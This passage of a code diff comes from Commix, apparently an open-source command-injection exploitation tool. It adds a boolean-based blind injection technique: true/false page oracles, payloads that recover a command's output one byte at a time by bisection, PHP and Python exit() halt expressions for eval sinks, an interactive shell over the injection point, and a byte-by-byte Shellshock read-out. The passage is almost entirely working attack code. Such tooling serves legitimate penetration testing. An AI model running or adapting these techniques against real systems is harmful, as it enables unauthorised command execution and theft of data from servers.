import bb_injector as injector + + # Registered once the boundary is settled, so the routes that run commands reach this technique. + def _exploit(separator, prefix, suffix, whitespace, vuln_parameter, TAG): + cmd = maxlen = OUTPUT_TEXTFILE = "" + interpreter = menu.options.interpreter + _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) + _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) + if menu.options.os_cmd: + def _run_os_cmd(): + if settings.OS_CMD_DONE: + return + settings.OS_CMD_DONE = True + enumeration.single_os_cmd_exec(separator, maxlen, TAG, menu.options.os_cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique) + _register_post_detection_action(_run_os_cmd) + boolean_based_pseudo_terminal_shell(separator, prefix, suffix, whitespace, vuln_parameter, http_request_method, url, filename, technique) + return True + + if menu.options.eval_sink: + prefixes, suffixes, separators = checks.eval_prefixes(), settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS + else: + prefixes, suffixes, separators = checks.sink_boundaries() + separators = checks.chainable_separators(separators) + whitespaces = settings.WHITESPACES + prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) + + TAG = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + + # One boundary, asked both ways round and then once more - which way the page answers is all this + # technique reads, so a boundary that cannot answer both ways has not been shown to run anything. + def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): + payload = payloads.decision(separator, TAG, len(TAG), holds=True) + if not payload: + return None + vuln_parameter = "" + page_true, code_true, vuln_parameter, prefix, suffix = injector.page_of(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + page_false, code_false, vuln_parameter, prefix, suffix = injector.page_of(payloads.decision(separator, TAG, len(TAG), holds=False), prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + if not checks.boolean_oracle_given(): + # A false answer that reads exactly like the page the parameter's own value returns means the + # payload changed nothing at all, whatever the two probes look like beside each other. + if checks.comparable_page(page_false or "") == checks.comparable_page(settings.ORIGINAL_PAGE or ""): + return None + # These two pages are what says which answer is which, so the target teaches the oracle first. + if not checks.calibrate_boolean_oracle(page_true, page_false, code_true, code_false): + return None + # Asked both ways round, because a page that says yes to anything is not answering the question. + if checks.boolean_oracle(page_true, code_true) is not True: + return None + if checks.boolean_oracle(page_false, code_false) is not False: + return None + # A true answer that comes back blocked while the false one is served is the protection talking, + # not the target - a real finding reproduces the page the parameter already returns. + if str(code_true) in settings.WAF_BLOCK_HTTP_CODES and str(code_false).isdigit() and int(code_false) < 400: + warn_msg = "The true and false answers differ only by a blocked HTTP " + str(code_true) + warn_msg += " against " + str(code_false) + ", which reads as a protection rather than an injection." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return None + # A boundary that answered both ways round is a candidate, and asking it once more is this + # technique's false-positive test - announced the way every other technique announces its own. + checks.check_for_false_positive_result(False) + # Asked once more, because a page that moves on its own can answer either way by itself. + again, _ = injector.answer(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + if again is not True: + checks.unexploitable_point() + return None + return payload, vuln_parameter, prefix, suffix + + """ + A stored finding says where the injection is, but not what this target's pages look like - and + which way a page answers is the whole of the oracle here, calibrated against the target rather + than carried in the session. So the stored boundary is asked again, which costs a handful of + requests instead of the sweep, and teaches the oracle on the way. + """ + stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None + if stored_row: + try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) + url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) + checks.check_for_stored_tamper(payload) + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + for printed in ((False,) if menu.options.eval_sink else (False, True)): + settings.BOOLEAN_PRINTED_STATE = printed + for whitespace, stored_prefix, stored_suffix, stored_separator in _boundary_combinations(whitespaces, [prefix], [suffix], [separator]): + confirmed = _answers_both_ways(whitespace, stored_prefix, stored_suffix, stored_separator, TAG) + if confirmed: + _, vuln_parameter, sent_prefix, sent_suffix = confirmed + settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (stored_prefix, stored_suffix, stored_separator, whitespace) + return _exploit(stored_separator, sent_prefix, sent_suffix, whitespace, vuln_parameter, TAG) + # The stored boundary no longer answers, so this is a target that has moved rather than a + # session to replay - it is tested again from the start, and announced as any first run is. + settings.BOOLEAN_PRINTED_STATE = False + settings.STORED_TECHNIQUES.pop(technique, None) + TAG = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + except TypeError: + checks.error_loading_session_file() + + _announce_technique(injection_type, technique) + + """ + The two ways a page can be made to carry the answer, the cheaper one first. + + A target that branches on the exit status its command left behind answers with the page it renders, + and the payload need print nothing at all. One that prints what the command said whatever it said + branches nowhere, and the same questions read alike - so the test is made to print a marker of its + own, and the page carries that or it does not. The second shape is only reached where the first was + shown to say nothing, because a target that branches is answered without adding to its output. + """ + # An evaluation sink halts the target's own code, which shortens the page it renders whether or + # not the target branches - so there is nothing the second shape would reach that the first cannot. + shapes = (False,) if menu.options.eval_sink else (False, True) + for printed in shapes: + settings.BOOLEAN_PRINTED_STATE = printed + for whitespace, prefix, suffix, separator in _boundary_combinations(whitespaces, prefixes, suffixes, separators): + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + bare_prefix, bare_suffix = prefix, suffix + confirmed = _answers_both_ways(whitespace, prefix, suffix, separator, TAG) + if not confirmed: + continue + payload, vuln_parameter, prefix, suffix = confirmed + checks.injection_process(injection_type, technique, done=True) + settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, 1, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, True, vuln_parameter, prefix, suffix, TAG, menu.options.interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) + return _exploit(separator, prefix, suffix, whitespace, vuln_parameter, TAG) + + settings.BOOLEAN_PRINTED_STATE = False + checks.injection_process(injection_type, technique, done=True) + return False + +""" +An interactive shell over the content oracle, one command at a time. +""" +def boolean_based_pseudo_terminal_shell(separator, prefix, suffix, whitespace, vuln_parameter, http_request_method, url, filename, technique): + from src.core.techniques.boolean_based import bb_injector as injector + + # Run one command through the oracle, reusing a stored answer where there is one. + def execute_cmd(cmd): + stored = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if not menu.options.ignore_session and checks.usable_stored_cmd(stored): + return stored + shell = injector.injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + logs.executed_command(filename, cmd, shell) + if shell and not menu.options.ignore_session: + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + return shell + + # Reached without going through pseudo_terminal_shell(), so '--proof' is told about it here too. + proof.register(technique, vuln_parameter, http_request_method, execute_cmd) + return pseudo_terminal_shell_generic(url, filename, technique, False, execute_cmd, separator=separator) + """ Send an out-of-band payload without waiting around for a response it never reads. Clients on the target can block for a long time - 'certutil' for well over a minute - and a sweep that waited for @@ -1134,14 +1299,14 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject exit_loops = False no_result = True - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED: try: import html unescape = html.unescape except ImportError: # Python 2 unescape = _html_parser.HTMLParser().unescape - from src.core.techniques.classic import cb_injector as injector - from src.core.techniques.classic import cb_payloads as payloads + from src.core.techniques.results_based import rb_injector as injector + from src.core.techniques.results_based import rb_payloads as payloads elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: from src.core.eval import eb_injector as injector @@ -1175,7 +1340,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Only the classic technique leaves its pipe payloads open, to read the result off the response. - combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_output=technique == settings.INJECTION_TECHNIQUE.CLASSIC, grammar_separators=settings.SEPARATORS)) + combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_output=technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED, grammar_separators=settings.SEPARATORS)) i = 0 total = len(combinations) """ @@ -1226,8 +1391,8 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) else: - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - settings.CLASSIC_STATE = True + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED: + settings.RESULTS_BASED_STATE = True elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: settings.EVAL_BASED_STATE = True checks.check_for_stored_tamper(payload) diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index babc9acde7..594ed327cc 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -460,7 +460,7 @@ def _drop_threads_if_timing_unsafe(): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: info_msg = "Retrieving the length of execution output" - if settings.TEMPFILE_BASED_STATE: + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and OUTPUT_TEXTFILE: info_msg += " from file '" + OUTPUT_TEXTFILE + "'" info_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) @@ -606,7 +606,7 @@ def _validate_boundary(candidate): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if _cached_length is None and found_chars is True and output_length > 1: - info_msg = "Retrieved length: " + str(output_length) + info_msg = "Retrieved: " + str(output_length) settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Every character costs its own requests, so a long output is worth confirming first. @@ -667,18 +667,7 @@ def _render_output_so_far(): furthest = pos else: chars.append("_") - if furthest == 0: - return "" - if menu.options.no_truncate: - return "".join(chars[:furthest]) - width = settings.PROGRESS_DISPLAY_WIDTH - start = max(1, furthest - width + 1) - text = "".join(chars[start - 1:furthest]) - if start > 1: - text = ".." + text[2:] - if furthest - start + 1 == width and furthest < output_length: - text = text[:-2] + ".." - return text + return checks.progress_display_text(chars, furthest, output_length) # Rewrite the progress line with the characters resolved so far. def _print_progress(): @@ -1143,8 +1132,8 @@ def results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, htt # Send one payload and hand back what the target answered. def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.techniques.classic import cb_payloads as payloads + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED or technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.techniques.results_based import rb_payloads as payloads elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: from src.core.eval.payloads import classic as payloads else: @@ -1179,7 +1168,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED or technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: tries = 0 # A request that keeps failing outright is not the file-based technique's boundary budget, so # it does not wait on '--failed-tries' being settled to know how many times to try again. @@ -1535,7 +1524,7 @@ def injection_test_results(response, TAG, randvcalc, technique, payload=None): if type(response) is bool and response is not True or response is None: return False - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED: try: import html unescape = html.unescape @@ -1574,7 +1563,7 @@ def injection_test_results(response, TAG, randvcalc, technique, payload=None): """ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED or technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: try: import html unescape = html.unescape diff --git a/src/core/eval/grammars/php.py b/src/core/eval/grammars/php.py index 4d53f2079d..4881387f71 100644 --- a/src/core/eval/grammars/php.py +++ b/src/core/eval/grammars/php.py @@ -123,6 +123,11 @@ def to_number(expr): def delay(timesec, condition): return "sleep(" + str(timesec) + "*(" + condition + "))" +# Stop the page where the condition does not hold, so what comes back says which it was. +def halt(condition): + # Empty string rather than a number, so what the target was building is left as it was. + return "((" + condition + ")?\"\":exit())" + # Evaluate one expression and then another, within a single expression. def sequence(first, second): return first + "." + second diff --git a/src/core/eval/grammars/python.py b/src/core/eval/grammars/python.py index 796fe65115..fe9b6fe0a2 100644 --- a/src/core/eval/grammars/python.py +++ b/src/core/eval/grammars/python.py @@ -163,6 +163,14 @@ def to_number(expr): def delay(timesec, condition): return "__import__(\"time\").sleep(" + str(timesec) + "*(" + condition + "))" +""" +Stop the page where the condition does not hold, so what comes back says which it was. +""" +def halt(condition): + # Empty string rather than a number: the value is spliced into whatever the target was building, + # and only a string leaves that expression intact for the page to render as it normally would. + return "('' if (" + condition + ") else __import__(\"sys\").exit())" + """ Evaluate one expression and then another, within a single expression. diff --git a/src/core/eval/payloads/boolean_based.py b/src/core/eval/payloads/boolean_based.py new file mode 100644 index 0000000000..745e7d69aa --- /dev/null +++ b/src/core/eval/payloads/boolean_based.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +# The command's output, trailing whitespace dropped as a shell's own substitution drops it. +def _output(cmd): + return settings.EVAL_GRAMMAR.trim(settings.EVAL_GRAMMAR.run(cmd)) + +# A statement terminator, where the boundary being tested can carry one. +def _end(separator): + return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" + +# The shell's comparison operators, as the languages being evaluated spell them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} + +# Stated in the shell's spelling by every caller, so it is rewritten into the language's here. +def _as_expression(condition): + for shell_operator, operator in COMPARISON.items(): + condition = condition.replace(settings.SINGLE_WHITESPACE + shell_operator + settings.SINGLE_WHITESPACE, operator) + return condition + +""" +A question whose answer is known, for telling a target that answers at all from one that does not. +""" +def condition_check(separator, holds=True): + return settings.EVAL_GRAMMAR.halt("1==" + ("1" if holds else "2")) + _end(separator) + +""" +The decision payload, which asks the target to print something unguessable and measure it. +""" +def decision(separator, TAG, output_length, holds=True): + expected = str(output_length if holds else output_length + 1) + condition = settings.EVAL_GRAMMAR.length(_output("echo " + TAG)) + "==" + expected + return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) + +""" +How many bytes the command's output is, asked so that it can be bisected. +""" +def get_length(separator, cmd, candidate_length, operator="-eq"): + settings.USER_APPLIED_CMD = cmd + condition = settings.EVAL_GRAMMAR.length(_output(cmd)) + COMPARISON.get(operator, "==") + str(candidate_length) + return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) + +""" +Whether the ordinal of the output's Nth byte is at or above this one, which is what bisects it. +""" +def get_char(separator, cmd, num_of_chars, ascii_char, operator="-le"): + settings.USER_APPLIED_CMD = cmd + # Counted from zero by the grammar, and from one by every technique that asks. + condition = str(ascii_char) + COMPARISON.get(operator, "<=") + settings.EVAL_GRAMMAR.ordinal(_output(cmd), num_of_chars - 1) + return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) + +# eof diff --git a/src/core/main.py b/src/core/main.py index f994c37ad8..5e4dbfe721 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -361,7 +361,7 @@ def init_injection(url): settings.PENDING_OS_SHELL_ENTRY = None settings.LOGS_NOTIFICATION_SHOWN = False settings.INJECTION_CHECKER = False - settings.CLASSIC_STATE = False + settings.RESULTS_BASED_STATE = False settings.EVAL_BASED_STATE = False settings.TIME_BASED_STATE = False settings.FILE_BASED_STATE = False diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 3384bb7376..0c102ae71a 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -282,6 +282,16 @@ def shellshock_handler(url, http_request_method, filename): session_handler.import_injection_points(url, technique, injection_type, filename, "", True, vuln_parameter, "", "", "", False, payload, http_request_method, 0, 0, 0, 0, settings.INJECTION_LEVEL) if found_this_header: + # Confirmed, but the target may hand nothing back. Where it does not, the page still says + # whether the script ran at all, which is answer enough to read the output a byte at a time. + # Asked with a tag made fresh for the run, so a page that merely repeats what it was given + # is not mistaken for one that handed back what the command printed. + probe_tag = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + if not settings.SHELLSHOCK_OOB and probe_tag not in (cmd_exec(url, "echo " + probe_tag, working_cve, check_header, filename) or ""): + if _boolean_usable(url, working_cve, check_header): + settings.SHELLSHOCK_BOOLEAN = True + info_msg = "The target returns nothing, so the output is read off the page it serves when the script does not run." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) _post_exploitation(url, working_cve, check_header, filename, technique, no_result) # Asked once for the whole run, not once per header. @@ -332,11 +342,85 @@ def shellshock_handler(url, http_request_method, filename): """ Execute user commands """ +""" +Ask one yes/no question over the module's own injection point. + +A false answer leaves the shell before the script it was started for ever runs, so the answer is the +difference between the page the target normally serves and the one it serves when there is none. +""" +def _boolean_page(url, cve, check_header, vector): + """ + The page a question comes back with, error statuses included. + + A false answer here leaves the shell before the script runs, so the server answers 500 and the + client raises rather than returning - which is the answer itself, not a failure to get one. + """ + from src.core.controller import checks as _checks + try: + response = _send_header_payload(url, check_header, shellshock_payloads(cve, vector)) + except _urllib.error.HTTPError as err_msg: + response = err_msg + except Exception: + return None, None + if response is None or isinstance(response, bool): + return None, None + try: + return _checks.process_page_content(response, action="decode"), response.getcode() + except Exception: + return None, None + +def _boolean_ask(url, cve, check_header, payload): + from src.core.controller import checks as _checks + # The module's own wrapper already ends in a separator, so the payload must not open with one. + vector = payload.strip(settings.END_LINE.LF).strip(";") + " || exit" + page, code = _boolean_page(url, cve, check_header, vector) + if page is None: + return None + return _checks.boolean_oracle(page, code) + +""" +Learn what a yes and a no look like here, from two questions whose answers are known. +""" +def _boolean_usable(url, cve, check_header): + from src.core.controller import checks as _checks + from src.core.techniques.boolean_based import bb_payloads as payloads + # This module reads its answer off a bash that never started, so the question is asked bare - a + # payload that printed a marker would be printing it from the shell this one aborts. + settings.BOOLEAN_PRINTED_STATE = False + TAG = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + + def page_for(holds): + vector = payloads.decision(";", TAG, len(TAG), holds=holds).strip(";") + " || exit" + return _boolean_page(url, cve, check_header, vector)[0] + + return _checks.calibrate_boolean_oracle(page_for(True), page_for(False)) + +""" +Read a command's output a byte at a time, over the module's injection point. +""" +def _boolean_cmd_exec(url, cmd, cve, check_header): + from src.core.techniques.boolean_based import bb_handler as bb + from src.core.techniques.boolean_based import bb_payloads as payloads + + settings.BOOLEAN_PRINTED_STATE = False + + class _Channel(bb.Channel): + def __init__(self): + bb.Channel.__init__(self, ";", "", "", "", settings.HTTPMETHOD.GET, url, check_header) + + def ask(self, payload): + return _boolean_ask(url, cve, check_header, payload) + + return bb.retrieve(_Channel(), cmd) + def cmd_exec(url, cmd, cve, check_header, filename): if settings.SHELLSHOCK_OOB: return _oob_cmd_exec(url, cmd, cve, check_header) + if settings.SHELLSHOCK_BOOLEAN: + return _boolean_cmd_exec(url, cmd, cve, check_header) + """ Check for shellshock 'shell' """ diff --git a/src/core/options.py b/src/core/options.py index 5e9d9b5503..d43ae500ab 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -33,6 +33,17 @@ says so here rather than after a connection has been opened and a payload sent. """ def validate(): + # A content oracle is the whole of this technique's answer, so one without the other is a mistake + # worth naming before a target is touched. + if checks.boolean_oracle_given(): + given = [name for name, value in (("--string", menu.options.string), ("--not-string", menu.options.not_string), + ("--regexp", menu.options.regexp), ("--code", menu.options.code)) if value] + if len(given) > 1: + err_msg = "The options " + ", ".join("'" + _ + "'" for _ in given) + " cannot be used together. " + err_msg += "Only one of them says what a true answer looks like." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + # Check for missing mandatory option(s). if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ @@ -296,6 +307,42 @@ def validate(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) + """ + A number that cannot mean what it says is worth stopping for. + + Left to run, none of these fails where it was given: a negative delay, a zero-length ceiling or a + timeout of nothing reaches a technique that then finds nothing, and what gets reported is a target + that is not injectable rather than a value that could never have worked. + """ + for option, value, minimum in (("--delay", menu.options.delay, 0), + ("--time-sec", menu.options.timesec, 0), + ("--retries", menu.options.retries, 0), + ("--crawl", menu.options.crawldepth, 0), + ("--time-limit", menu.options.time_limit, 0), + ("--timeout", menu.options.timeout, 1), + ("--maxlen", menu.options.maxlen, 1), + ("--threads", menu.options.threads, 1)): + if value is None or value >= minimum: + continue + err_msg = "The value of the '" + option + "' option must " + err_msg += "not be negative." if minimum == 0 else "be " + str(minimum) + " or greater." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Said now rather than where it is matched against: an oracle that cannot compile is one the run + # would carry on without, reporting a target that never answered the question it was given. + if menu.options.regexp: + try: + re.compile(menu.options.regexp) + except re.error as err: + err_msg = "The value of the '--regexp' option is not a valid regular expression (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # The ceiling every technique bisects under, not only the ones that wait for their answer. + if menu.options.maxlen: + settings.MAXLEN = menu.options.maxlen + # Check if defined "--timesec" option. if menu.options.timesec != 0: settings.TIMESEC = menu.options.timesec diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 8819978850..4989b6f62d 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -817,6 +817,7 @@ def banner(): injection.add_option("--maxlen", action="store", + type="int", dest="maxlen", default=settings.MAXLEN, help="Set the max length of output for time-related injection techniques (Default: " + str(settings.MAXLEN) + " chars).") @@ -892,6 +893,31 @@ def banner(): default=False, help="Level of tests to perform (1-3, Default: " + str(settings.DEFAULT_INJECTION_LEVEL) + ").") +detection.add_option("--string", + action="store", + dest="string", + default=None, + help="String to match in the page when the injected condition is true.") + +detection.add_option("--not-string", + action="store", + dest="not_string", + default=None, + help="String to match in the page when the injected condition is false.") + +detection.add_option("--regexp", + action="store", + dest="regexp", + default=None, + help="Regexp to match in the page when the injected condition is true.") + +detection.add_option("--code", + action="store", + dest="code", + type="int", + default=None, + help="HTTP code to match when the injected condition is true.") + detection.add_option("--mine-params", action="store_true", dest="mine_params", diff --git a/src/core/techniques/classic/__init__.py b/src/core/techniques/boolean_based/__init__.py similarity index 100% rename from src/core/techniques/classic/__init__.py rename to src/core/techniques/boolean_based/__init__.py diff --git a/src/core/techniques/boolean_based/bb_handler.py b/src/core/techniques/boolean_based/bb_handler.py new file mode 100644 index 0000000000..60b1a375c8 --- /dev/null +++ b/src/core/techniques/boolean_based/bb_handler.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import threading + +from src.utils import settings +from src.utils import progress +from src.core.parse import cmdline as menu +from src.core.controller import checks +from src.core.techniques.boolean_based import bb_injector as injector + +try: + import concurrent.futures + _THREADS_SUPPORTED = True +except ImportError: + # "concurrent.futures" needs Python 3.2+; fall back to serial on Python 2. + _THREADS_SUPPORTED = False + +""" +Everything this technique needs to ask a question, kept together so the bisection below reads as the +search it is rather than as an argument list. +""" +class Channel(object): + def __init__(self, separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter): + self.separator = separator + self.prefix = prefix + self.suffix = suffix + self.whitespace = whitespace + self.http_request_method = http_request_method + self.url = url + self.vuln_parameter = vuln_parameter + + def ask(self, payload): + return injector.ask(payload, self.prefix, self.suffix, self.whitespace, + self.http_request_method, self.url, self.vuln_parameter) + +""" +Whether the target answers a question it was never asked before differently from one it was. + +Two questions with known answers, and the page has to tell them apart - otherwise what is being read +is not an answer at all, and everything bisected on it would be noise. +""" +def confirm(channel): + payloads = checks.boolean_based_payloads() + holds = channel.ask(payloads.condition_check(channel.separator, holds=True)) + fails = channel.ask(payloads.condition_check(channel.separator, holds=False)) + if holds is None or fails is None: + return False + return holds is True and fails is False + +""" +The largest N the answer is still yes for, found by halving rather than by counting. +""" +def _bisect(channel, question, low, high): + found = None + while low <= high: + middle = (low + high) // 2 + answer = channel.ask(question(middle)) + if answer is None: + return None + if answer: + found = middle + low = middle + 1 + else: + high = middle - 1 + return found + +""" +How many bytes the command's output is. +""" +def output_length(channel, cmd, ceiling=None): + ceiling = ceiling or settings.MAXLEN + payloads = checks.boolean_based_payloads() + info_msg = "Retrieving the length of execution output" + info_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + # A dot per question, the way the techniques that wait for their answer mark theirs off. + def question(candidate): + asked = payloads.get_length(channel.separator, cmd, candidate, operator="-ge") + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + return asked + length = _bisect(channel, question, 0, int(ceiling)) + if length and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + if length and length > 1: + settings.print_data_to_stdout(settings.print_info_msg("Retrieved: " + str(length))) + return length + +""" +One byte of the output, found by bisecting its ordinal. +""" +def _byte_at(channel, cmd, position): + payloads = checks.boolean_based_payloads() + question = lambda candidate: payloads.get_char(channel.separator, cmd, position, candidate, operator="-le") + return _bisect(channel, question, min(settings.CHAR_POOL_MULTI), max(settings.CHAR_POOL_MULTI)) + +""" +The command's output, one byte at a time, each found by bisecting its ordinal. + +Nothing is waited for and nothing is written anywhere: every byte costs the questions it takes to +halve the range it sits in, which is what makes this the cheapest of the blind channels. + +Where the run was given threads, the bytes are read at the same time as one another. Each byte's +own search is a sequence - a half answered before the next is asked - but no byte's search depends +on another's, and nothing here is being timed, so requests that overlap cost the answer nothing. +That is what the time-related techniques cannot do: for them, overlapping requests are the +measurement. +""" +def retrieve(channel, cmd, length=None): + length = output_length(channel, cmd) if length is None else length + if not length: + return "" + positions = list(range(1, length + 1)) + workers = settings.THREADS if (settings.THREADS > 1 and _THREADS_SUPPORTED) else 1 + base = "Retrieving the execution output" + # Worth saying here and nowhere else: every byte is a request and none of them is being timed, so + # asking for several at once costs the answer nothing - which is not true of the other blind ones. + if workers == 1 and length > 1 and not settings.BOOLEAN_THREADS_SUGGESTED: + settings.BOOLEAN_THREADS_SUGGESTED = True + info_msg = "Nothing here is timed, so '--threads' asks for several bytes at once without costing accuracy." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + resolved, lock = {}, threading.Lock() + eta_bar = progress.ProgressBar(maxvalue=length) if menu.options.eta else None + if eta_bar is None and length > 1: + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(base + ": ")) + + # What has been resolved from the first byte onward - a later byte is held back until the ones + # before it are in, so the line only ever grows and never shows a hole. + def _so_far(): + out = "" + for position in positions: + if resolved.get(position) is None: + break + out += chr(resolved[position]) + return out + + # Rendered the way the time-related techniques render theirs, and for the same reasons: a byte not + # asked for yet is "_", one that could not be read is marked, a character that cannot be shown as + # itself becomes a space, and only the tail of a long output is kept - a line that is rewritten in + # place has to stay on one line, which a newline or an overlong output would take it off. + def _display(): + chars, furthest = [], 0 + for index, position in enumerate(positions, 1): + if position not in resolved: + chars.append("_") + continue + ascii_char = resolved[position] + if ascii_char is None: + chars.append(settings.UNRESOLVED_CHAR) + else: + char = chr(ascii_char) + chars.append(char if char.isprintable() else settings.SINGLE_WHITESPACE) + furthest = index + return checks.progress_display_text(chars, furthest, length) + + def _note(): + with lock: + if eta_bar is not None: + eta_bar.progress(sum(1 for position in positions if resolved.get(position) is not None)) + else: 